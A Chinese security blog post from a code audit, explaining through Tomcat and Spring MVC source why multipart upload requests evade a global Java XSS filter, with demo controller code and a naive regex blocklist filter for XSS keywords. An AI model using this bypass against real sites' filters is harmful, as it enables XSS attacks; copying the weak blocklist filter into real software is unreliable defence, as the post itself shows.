<content type="html"><![CDATA[<h2 id="0x01-背景说明"><a href="#0x01-背景说明" class="headerlink" title="0x01 背景说明"></a>0x01 背景说明</h2><p>月初和southwind0师傅做代码审计时,发现了一个比较奇葩的问题。系统设置了全局的XSS过滤器,在其他功能点上生效了,但在一个公告发布功能没有被过滤。southwind0师傅通过对比数据包发现公告发布数据包是上传包(也就是我们常见的上传POST请求)。后来我经过编写测试代码,发现过滤器确实无法过滤上传数据包的参数值。</p><p>这让我不禁思考 *”上传包可绕过Java过滤器?”*,如果是真的,那么问题很严重呀,以后过滤器岂不是都可以这样绕过,那这样全局XSS,SQL注入防御过滤器岂不是形同虚设?查了下网上大多数提供XSS过滤器代码基本都存在这个问题,我意识到问题的严重性,打算深入Tomcat和Spring MVC的底层代码一探究竟。</p><h2 id="0x02-测试代码"><a href="#0x02-测试代码" class="headerlink" title="0x02 测试代码"></a>0x02 测试代码</h2><p>由于审计的代码属于敏感信息,我编写了一个和审计场景几乎一样的测试Demo用于本文的研究。测试Demo有get,post和upload页面用于测试Java过滤器对三种类型请求数据包的过滤情况。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/testdemo.png" alt="测试Demo"></p><h4 id="2-1-后端处理代码"><a href="#2-1-后端处理代码" class="headerlink" title="2.1 后端处理代码"></a>2.1 后端处理代码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Controller;</span><br><span class="line"><span class="keyword">import</span> org.springframework.ui.Model;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMethod;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestParam;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@Controller</span></span><br><span class="line"><span class="meta">@RequestMapping</span>(<span class="string">"/test"</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">TestController</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>(value = <span class="string">"get"</span>,method = RequestMethod.GET)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">doGet</span><span class="params">(Model model, String str,String bbb)</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"[+] "</span> + str);</span><br><span class="line"> model.addAttribute(<span class="string">"res"</span>,str);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"get"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>(value = <span class="string">"post"</span>,method = RequestMethod.GET)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">post</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"post"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>(value = <span class="string">"post"</span>,method = RequestMethod.POST)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">doPost</span><span class="params">(Model model,String str)</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"[+] "</span> + str);</span><br><span class="line"> model.addAttribute(<span class="string">"res"</span>,str);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"post"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>(value = <span class="string">"upload"</span>,method = RequestMethod.GET)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">upload</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"upload"</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@RequestMapping</span>(value = <span class="string">"upload"</span>,method = RequestMethod.POST)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">doUpload</span><span class="params">(Model model,String str)</span> </span>{<span class="comment">/*@RequestParam("str") */</span></span><br><span class="line"> System.out.println(<span class="string">"[+] "</span> + str);</span><br><span class="line"> model.addAttribute(<span class="string">"res"</span>,str);</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"upload"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="2-2-过滤wrapper代码"><a href="#2-2-过滤wrapper代码" class="headerlink" title="2.2 过滤wrapper代码"></a>2.2 过滤wrapper代码</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.filter;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequest;</span><br><span class="line"><span class="keyword">import</span> javax.servlet.http.HttpServletRequestWrapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">XssHttpServletRequestWrapper</span> <span class="keyword">extends</span> <span class="title">HttpServletRequestWrapper</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">XssHttpServletRequestWrapper</span><span class="params">(HttpServletRequest request)</span> </span>{</span><br><span class="line"> <span class="keyword">super</span>(request);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> String[] getParameterValues(String parameter) {</span><br><span class="line"> String[] values = <span class="keyword">super</span>.getParameterValues(parameter);</span><br><span class="line"> <span class="keyword">if</span> (values==<span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> count = values.length;</span><br><span class="line"> String[] encodedValues = <span class="keyword">new</span> String[count];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < count; i++) {</span><br><span class="line"> encodedValues[i] = cleanXSS(values[i]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> encodedValues;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getParameter</span><span class="params">(String parameter)</span> </span>{</span><br><span class="line"></span><br><span class="line"> String value = <span class="keyword">super</span>.getParameter(parameter);</span><br><span class="line"> <span class="keyword">if</span> (value == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> cleanXSS(value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> String <span class="title">getHeader</span><span class="params">(String name)</span> </span>{</span><br><span class="line"> String value = <span class="keyword">super</span>.getHeader(name);</span><br><span class="line"> <span class="keyword">if</span> (value == <span class="keyword">null</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">return</span> cleanXSS(value);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> String <span class="title">cleanXSS</span><span class="params">(String value)</span> </span>{</span><br><span class="line"> value = value.replaceAll(<span class="string">"<"</span>, <span class="string">"&lt;"</span>).replaceAll(<span class="string">">"</span>, <span class="string">"&gt;"</span>);</span><br><span class="line"><span class="comment">// value = value.replaceAll("\\(", "&#40;").replaceAll("\\)", "&#41;");</span></span><br><span class="line"> value = value.replaceAll(<span class="string">"eval\\((.*)\\)"</span>, <span class="string">""</span>);</span><br><span class="line"> value = value.replaceAll(<span class="string">"alert\\((.*?)\\)"</span>, <span class="string">""</span>);</span><br><span class="line"> value = value.replaceAll(<span class="string">"confirm\\((.*?)\\)"</span>, <span class="string">""</span>);</span><br><span class="line"> value = value.replaceAll(<span class="string">"[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']"</span>, <span class="string">"\"\""</span>);</span><br><span class="line"> value = value.replaceAll(<span class="string">"(?i)script"</span>, <span class="string">""</span>);</span><br><span class="line"> <span class="keyword">return</span> value;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="2-3-全局过滤器设置"><a href="#2-3-全局过滤器设置" class="headerlink" title="2.3 全局过滤器设置"></a>2.3 全局过滤器设置</h4><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>XssFilter<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>me.gv7.filter.XssFilter<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"><span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>XssFilter<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/*<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">dispatcher</span>></span>REQUEST<span class="tag"></<span class="name">dispatcher</span>></span></span><br><span class="line"><span class="tag"></<span class="name">filter-mapping</span>></span></span><br></pre></td></tr></table></figure><p>想获取完整代码,请到公众号后台回复”上传包绕Java过滤器测试代码”</p><h2 id="0x03-原理分析"><a href="#0x03-原理分析" class="headerlink" title="0x03 原理分析"></a>0x03 原理分析</h2><p>为了方便描述,我这里将请求分文三种,GET型请求,普通POST型请求和上传POST型请求。本文的普通型POST请求指的是除上传POST型请求之外的POST请求,而上传POST型请求就是我们上传包对应的请求。</p><h4 id="3-1-Spring-MVC如何获取到HTTP请求参数值?"><a href="#3-1-Spring-MVC如何获取到HTTP请求参数值?" class="headerlink" title="3.1 Spring MVC如何获取到HTTP请求参数值?"></a>3.1 Spring MVC如何获取到HTTP请求参数值?</h4><p>为了更透彻的理解出现该问题的原因,我们需要搞清楚Spring MVC框架是如何获取到前端传来的HTTP请求的参数值。</p><p>前端提交的请求会先到达Tomcat服务器,其解析请求参数主要在<code>Request.parseParameters()</code>中进行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//org.apache.catalina.connector.Request</span></span><br><span class="line"><span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">parseParameters</span><span class="params">()</span> </span>{</span><br><span class="line"><span class="keyword">this</span>.parametersParsed = <span class="keyword">true</span>;</span><br><span class="line">Parameters parameters = <span class="keyword">this</span>.coyoteRequest.getParameters();</span><br><span class="line"><span class="keyword">boolean</span> success = <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">parameters.setLimit(<span class="keyword">this</span>.getConnector().getMaxParameterCount());</span><br><span class="line">...</span><br><span class="line">parameters.handleQueryParameters();</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.usingInputStream || <span class="keyword">this</span>.usingReader) {</span><br><span class="line">success = <span class="keyword">true</span>;</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="keyword">this</span>.getConnector().isParseBodyMethod(<span class="keyword">this</span>.getMethod())) {</span><br><span class="line">success = <span class="keyword">true</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="comment">// 获取请求包ContentType头</span></span><br><span class="line">String contentType = <span class="keyword">this</span>.getContentType();</span><br><span class="line">...</span><br><span class="line"><span class="comment">// 如果请求ContentType为multipart/form-data,也就是上传POST</span></span><br><span class="line"><span class="keyword">if</span> (<span class="string">"multipart/form-data"</span>.equals(contentType)) {</span><br><span class="line"><span class="comment">//对上传包进行解析</span></span><br><span class="line"><span class="keyword">this</span>.parseParts();</span><br><span class="line">success = <span class="keyword">true</span>;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (!<span class="string">"application/x-www-form-urlencoded"</span>.equals(contentType)) {</span><br><span class="line">success = <span class="keyword">true</span>;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"><span class="keyword">int</span> len = <span class="keyword">this</span>.getContentLength();</span><br><span class="line">...</span><br><span class="line">parameters.processParameters(formData, <span class="number">0</span>, len);</span><br><span class="line">...</span><br><span class="line">success = <span class="keyword">true</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">} </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Tomcat会根据<code>ContentType</code>是否为<code>multipart/form-data</code>判断是否问上传POST型请求,若是则会调用<br><code>parseParts()</code>来解析,我们继续跟进。由于<code>allowCasualMultipartParsing</code>配置项默认为<code>false</code>,<code>parseParts()</code>直接就返回了,也就是说Tomcat默认不会解析上传POST请求。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">parseParts</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.parts == <span class="keyword">null</span> && <span class="keyword">this</span>.partsParseException == <span class="keyword">null</span>) {</span><br><span class="line"> MultipartConfigElement mce = <span class="keyword">this</span>.getWrapper().getMultipartConfigElement();</span><br><span class="line"> <span class="keyword">if</span> (mce == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> Tomcat7.0+ 已经内置了multipart支持,但是必须显示激活,默认关闭。在全局tomcat配置文件context.xml,或者为war的本地context.xml添加<Context allowCasualMultipartParsing="true">开启。</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.getContext().getAllowCasualMultipartParsing()) {</span><br><span class="line"> <span class="keyword">this</span>.parts = Collections.emptyList();</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>对针对GET行请求和普通POST,Tomcat会调用<code>parameters.processParameters()</code>方法来解析。我们简单看下它的代码。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">processParameters</span><span class="params">(<span class="keyword">byte</span>[] bytes, <span class="keyword">int</span> start, <span class="keyword">int</span> len, Charset charset)</span> </span>{</span><br><span class="line">...</span><br><span class="line"> <span class="keyword">int</span> decodeFailCount = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int</span> pos = start;</span><br><span class="line"> <span class="keyword">int</span> end = start + len;</span><br><span class="line"></span><br><span class="line"> label172:</span><br><span class="line"> <span class="keyword">while</span>(pos < end) {</span><br><span class="line"> <span class="keyword">int</span> nameStart = pos;</span><br><span class="line"> <span class="keyword">int</span> nameEnd = -<span class="number">1</span>;</span><br><span class="line"> <span class="keyword">int</span> valueStart = -<span class="number">1</span>;</span><br><span class="line"> <span class="keyword">int</span> valueEnd = -<span class="number">1</span>;</span><br><span class="line"> <span class="keyword">boolean</span> parsingName = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">boolean</span> decodeName = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">boolean</span> decodeValue = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">boolean</span> parameterComplete = <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="keyword">switch</span>(bytes[pos]) {</span><br><span class="line"> <span class="comment">/*如果遇到%(37)和+(43),会对值进行进行URL解码*/</span></span><br><span class="line"> <span class="keyword">case</span> <span class="number">37</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="number">43</span>:</span><br><span class="line"> <span class="keyword">if</span> (parsingName) {</span><br><span class="line"> decodeName = <span class="keyword">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> decodeValue = <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ++pos;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="comment">/*如果遇到的&(38),标记该处为参数名和参数值结尾*/</span></span><br><span class="line"> <span class="keyword">case</span> <span class="number">38</span>:</span><br><span class="line"> <span class="keyword">if</span> (parsingName) {</span><br><span class="line"> nameEnd = pos;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> valueEnd = pos;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> parameterComplete = <span class="keyword">true</span>;</span><br><span class="line"> ++pos;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="comment">/*如果遇到=(61),标记该处为参数名的结尾,参数值的开始处*/</span></span><br><span class="line"> <span class="keyword">case</span> <span class="number">61</span>:</span><br><span class="line"> <span class="keyword">if</span> (parsingName) {</span><br><span class="line"> nameEnd = pos;</span><br><span class="line"> parsingName = <span class="keyword">false</span>;</span><br><span class="line"> ++pos;</span><br><span class="line"> valueStart = pos;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> ++pos;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> ++pos;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">while</span>(!parameterComplete && pos < end);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (pos == end) {</span><br><span class="line"> <span class="keyword">if</span> (nameEnd == -<span class="number">1</span>) {</span><br><span class="line"> nameEnd = pos;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (valueStart > -<span class="number">1</span> && valueEnd == -<span class="number">1</span>) {</span><br><span class="line"> valueEnd = pos;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">...</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>至此,Tomcat层面对前端请求解析工作结束。接下来Spring MVC会收到Tomcat传来的<code>HttpServletRequest</code>,此时若请求为上传POST型,Spring MVC会继续调用<code>commons-fileuplad.jar</code>对Tomcat传来的原生Servlet请求类<code>HttpServletRequest</code>的实例进行解析处理。</p><p>Spring MVC将原生的<code>HttpServletRequest</code>对象传入<code>CommonsMultipartResolver</code>类的<code>parseRequest()</code>方法进行解析处理。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/CommonsMultipartResolver.parseRequest.png" alt="CommonsMultipartResolver类parseRequest()方法"></p><p><code>CommonsMultipartResolver.parseRequest()</code>方法主要分两步对上传请求进行解析。</p><ul><li>第一步,调用<code>commons-fileupload.jar</code>中的<code>ServletFileUpload</code>类的<code>parseRequest()</code>方法来解析出保存有上传表单各个元素的<code>FileItem</code>列表。</li><li>第二步,调用<code>CommonsFileUploadSupport.parseFileItem()</code>方法解析<code>FileItem</code>列表为保存有表单字段名,字段值等信息<code>MultipartParsingResult</code>类型的<code>Map</code>。</li></ul><p>下面我们来看下这两步的执行细节。首先第一步最终的处理方法为<code>FileUploadBase.parseRequest()</code></p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/FileUploadBase.parseRequest.png" alt="FileUploadBase类parseRequest()方法"></p><p><code>FileUploadBase.parseRequest()</code>解析完会返回一个<code>FileItem</code>实例列表。<code>FileItem</code>就是存储着上传表单的各种元素(字段名,ContentType,是否是简单表单字段,文件名。)本例中我们提交的上传表单的<code>FileItem</code>内容如下:</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/FileItem.png" alt="FileItem实例对象"></p><p>接着来到第二步,调用<code>CommonsFileUploadSupport.parseFileItem()</code>对<code>commons-fileupload.jar</code>处理的结果—FileItem列表,进行处理。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/CommonsFileUploadSupport.parseFileItems.png" alt="CommonsFileUploadSupport类parseFileItems()方法"></p><p>最后将上传表单解析的所有元素(multipartFiles,multipartParameters,multipartParameterContentTypes)封装为一个<code>MultipartParsingResult</code>并返回。至此上传POST型请求的解析工作完成。</p><p>最后Spring MVC,会使用<code>HandlerMethodInvoker.resolveRequestParam()</code>方法,将解析好的请求参数的值,绑定到不同的对象上,方便Controller层获取。具体我们在下面说。</p><h4 id="3-2-上传包无法被过滤的原理"><a href="#3-2-上传包无法被过滤的原理" class="headerlink" title="3.2 上传包无法被过滤的原理"></a>3.2 上传包无法被过滤的原理</h4><p>上面我们用较大边幅说明了Spring MVC是如何获取到前端发来的请求的参数值。下面我们就很好理解,问题的所在了。</p><p>经过跟踪发现,Spring MVC对各类型请求参数的解析并实现自动绑定,主要在<code>HandlerMethodInvoker.resolveRequestParam()</code>方法。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/HandlerMethodInvoker.resolveRequestParam.png" alt="HandlerMethodInvoker类resolveRequestParam()方法"></p><p>继续跟进到获取参数值的那一步。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/ServletWebRequest.getParameterValues.png" alt="ServletWebRequest类getParameterValues()方法"></p><p>通过调式发现,这里如果是GET型和普通POST型请求的话,<code>getRequest()</code>获取到的对象是我们编写的过滤类<code>XssHttpServletRequestWrapper</code>的实例,故调用该对象<code>getParameterValues()</code>来获取值,自然是被过滤了!</p><p>若是上传POST行请求的话,<code>getRequest()</code>获取到的是<code>CommonsMultipartResolver</code>类的对象。但实际上调用该对象的<code>getParamterValues()</code>方法,会执行到<code>DefaultMultipartHttpServletRequest</code>类的<code>getParamterValues()</code>类获取值。这是调式发现的,我暂时也没有搞清楚为何,不过不影响我们解决本次研究的问题。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/DefaultMultipartHttpServletRequest.getParameterValues.png" alt="DefaultMultipartHttpServletRequest类的getParameterValues方法"></p><p>到这里我们基本明白了,上传包中的参数值没有被过滤,是因为Spring MVC在解析上传包获取其参数值时,没有使用我们编写的过滤类<code>XssHttpServletRequestWrapper</code>中的<code>getParamterValues()</code>方法,而是使用了<code>DefaultMultipartHttpServletRequest</code>类<code>getParamterValuses()</code>。</p><p><strong>你可能有疑问,为何SpringMVC获取上传POST请求的参数值时,为啥不调用XssHttpServletRequestWrapper.getParamterValues()来获取呢?</strong></p><p><strong>答:因为这样获取不到。</strong></p><p>借助以下相关类和接口的继承实现关系图,我们继续看看为何获取不到。</p><p><img src="/articles/2019/why-can-multipart-post-bypass-java-filter/DefaultMultipartHttpServletRequest.png" alt="相关类和接口的继承实现关系"></p><p>结合我们上面对Spring MVC和Tomcat如何解析到请求包的参数值的过程,知道GET型和普通POST型请求包是可以通过<code>HttpServletRequest.getParameterValues()</code>直接获取到对应参数的值,而通过图中可知<code>XssHttpServletRequestWrapper</code>实现了<code>HttpServletRequest</code>,自然也是可以通过<code>XssHttpServletRequestWrapper.getParameterValues()</code>获取到的。</p><p>但上传包Tomcat默认没有解析,根据继承关系<code>XssHttpServletRequestWrapper</code>对象中保存的解析结果为Tomcat解析请求的结果,故通过该对象的<code>getParameterValues()</code>方法获取到的参数值为<code>null</code>。也是因此Spring MVC针对Tomcat解析的结果—原生<code>HttpServletRequest</code>,使用<code>common-fileupload.jar</code>来继续解析,得到<code>MultipartHttpServletRequest</code>的实现对象。<code>DefaultMultipartHttpServletRequest</code>类实现了<code>MultipartHttpServletRequest</code>,故通过该类的<code>getParameterValues()</code>方法即可获取到上传POST请求的参数值!</p><p><strong>最后特别说明一点,其实上传POST请求数据是流经过过滤器的。没有被过滤,是由于获取参数值的时候,没有调用过滤器Wrapper对象的方法。所以最终我们看到了上传包可以“绕过”过滤器检查的现象。</strong></p><h2 id="0x05-最后的思考"><a href="#0x05-最后的思考" class="headerlink" title="0x05 最后的思考"></a>0x05 最后的思考</h2><p>在文章发布区,评论区,公告区….等功能点上常常需要上传图片或附件,这时表单往往会以上传包的形式提交数据。而这些功能点也是hack们最关注的XSS漏洞测试点,若不注意上传包可”绕过”过滤器的问题,会造成很严重的后果!</p><p>我从新翻开了之前审计的项目代码,发现很多Spring MVC项目都是使用过滤器对XSS和SQL注入进行全局防御。而过滤器的代码与本文例子的中过滤器代码相似,很明显都是从网上Copy过来的。这样编写代码是存在问题的,针对这种情况,我们该如何正确防御,我们下周文章详述!</p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
</entry>
<entry>
<title>编写Burp分块传输插件绕WAF</title>
<link href="/articles/2019/chunked-coding-converter/"/>
<url>/articles/2019/chunked-coding-converter/</url>
